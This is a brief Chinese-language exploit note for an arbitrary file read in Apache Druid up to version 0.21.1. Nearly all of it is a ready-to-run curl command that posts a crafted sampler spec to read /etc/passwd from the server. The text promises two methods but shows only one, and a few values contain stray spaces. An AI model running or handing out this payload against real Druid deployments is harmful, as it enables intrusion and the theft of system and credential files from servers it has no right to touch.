Apache Druid 任意文件读取
受影响版本:version <= 0.21.1
使用以下两种方式均可
curl http://127.0.0.1:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"